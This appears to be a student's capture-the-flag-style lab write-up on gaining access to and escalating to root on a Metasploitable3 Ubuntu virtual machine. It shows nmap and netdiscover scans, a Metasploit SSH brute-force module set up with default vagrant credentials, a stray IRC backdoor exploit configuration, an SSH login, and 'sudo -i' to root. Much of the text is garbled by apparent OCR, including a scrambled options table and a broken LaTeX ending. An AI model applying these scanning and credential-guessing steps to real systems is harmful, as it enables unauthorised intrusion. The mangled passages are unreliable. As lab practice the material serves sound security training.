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## Linux Privesc (Practice)

1- Gain initial access to ubuntu machine either by exploiting a service or by using credentials you have found in previous labs to SSH into the machine

By netdiscover
By nmap -p- -sV 10.0.2.6

File Actions	Edit View Help			
Currently sc	anning: 172.17.108.0/	16   S	creen Vie	w: Unique Hosts
2 Captured Al	RP Req/Rep packets, fi	rom 2 host	s. Tota	il size: 120
IP	At MAC Address	Count	Len MA	AC Vendor / Hostname
10.0.2.6	08:00:27:0a:dc:60	1		S Systemtechnik GmbH
10.0.2.3	08:00:27:03:0d:79	1	60 PC	S Systemtechnik GmbH

```
We have kept /usr/bin/python pointing to Python 2 for backwards compatibility. Learn how to change this and avoid this message:

⇒ https://www.kali.org/docs/general-use/python3-transition/

—(Run "touch ~/.hushlogin" to hide this message)

—(root kali)-[~]

# nmap -p- -sV 10.0.2.6

Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-14 11:19 EST
Nmap scan report for 10.0.2.6

Host is up (0.00051s latency).
Not shown: 33622 filtered ports, 31905 closed ports
PORT STATE SERVICE VERSION
21/tcp open tcpwrapped
22/tcp open tcpwrapped
80/tcp open tcpwrapped
445/tcp open tcpwrapped
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp open ipp CUPS 1.7
3306/tcp open tcpwrapped
8080/tcp open tcpwrapped
8080/tcp open tcpwrapped
40664/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:0A:DC:60 (Oracle VirtualBox virtual NIC)
Service Info: Host: METASPLOITABLE3-UB1404

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 86.49 seconds
```

## By cewl -m6 --with-numbers -w wordlist.txt http://10.0.2.6

```
(root kali)-[~]

# cewl -m6 --with-numbers -w wordlist.txt http://10.0.2.6

CeWL 5.4.8 (Inclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

Unable to connect to the site (http://10.0.2.6:80/)

Run in verbose mode (-v) for more information
```

Start mfsconsole > use auxiliary/scanner/ssh/ssh login > show options

```
Interact with a module by name or index. For example info 2, use 2 or use exploit/windows

msf6 > use 1
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 10.0.2.4
lhost ⇒ 10.0.2.4
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhost 10.0.2.6
rhost ⇒ 10.0.2.6
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rport 6697
rport ⇒ 6697
```

```
msf6 auxiliary(scanner/ssh/ssh_login) > options
Module options (auxiliary/scanner/ssh/ssh_login):
                                      Current Setting
                                                                            Required Description
    BLANK_PASSWORDS
                                       false
                                                                                               Try blank passwords for all users
    BRUTEFORCE_SPEED
DB_ALL_CREDS
DB_ALL_PASS
DB_ALL_PASS
                                                                                               How fast to bruteforce, from 0 to 5
Try each user/password couple stored in the current database
Add all passwords in the current database to the list
                                      5
false
                                                                           no
                                                                                               Add all users in the current database to the list
Add all users in the current database to the list
A specific password to authenticate with
File containing passwords, one per line
The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
The target port
                                      false
     PASSWORD
                                      vagrant
     PASS_FILE
                                       /root/wordlist.txt no
     RHOSTS
                                       10.0.2.6
     RPORT
                                                                            yes
                                                                                               Stop guessing when a credential works for a host
The number of concurrent threads (max one per host)
A specific username to authenticate as
     STOP_ON_SUCCESS
THREADS
                                      true
                                                                            yes
no
     USERNAME
                                      vagrant
    USERPASS_FILE
USER_AS_PASS
USER_FILE
                                                                                               File containing users and passwords separated by space, one pair per line Try the username as the password for all users File containing usernames, one per line Whether to print output for all attempts
                                                                            по
                                      false
                                      false
     VERROSE
                                                                            ves
```

## Run

\$\\_\$ \ssh \text{vagrant}\@10.0.2.6\$

The authenticity of host '10.0.2.6 (10.0.2.6)' can't be established. ECDSA key fingerprint is \text{SHA256:lFnuAD9nzxzUnxpgpUYLMYxMQWq5lh5XIePPgiVl5Vw.} Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.0.2.6' (ECDSA) to the list of known hosts. \text{vagrant}\@10.0.2.6's password:

Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86\_64)

\* Documentation: https://help.ubuntu.com/
New release '16.04.7 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Nov 14 15:11:00 2021

\text{vagrant}\@metasploitable3-ub1404:~\psi} \text{sudo} -i

\text{root}\@metasploitable3-ub1404:~\psi}

\[
\begin{array}{c}
\text{Toot}
\text{New root}
\text{Toot}
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\text{Too

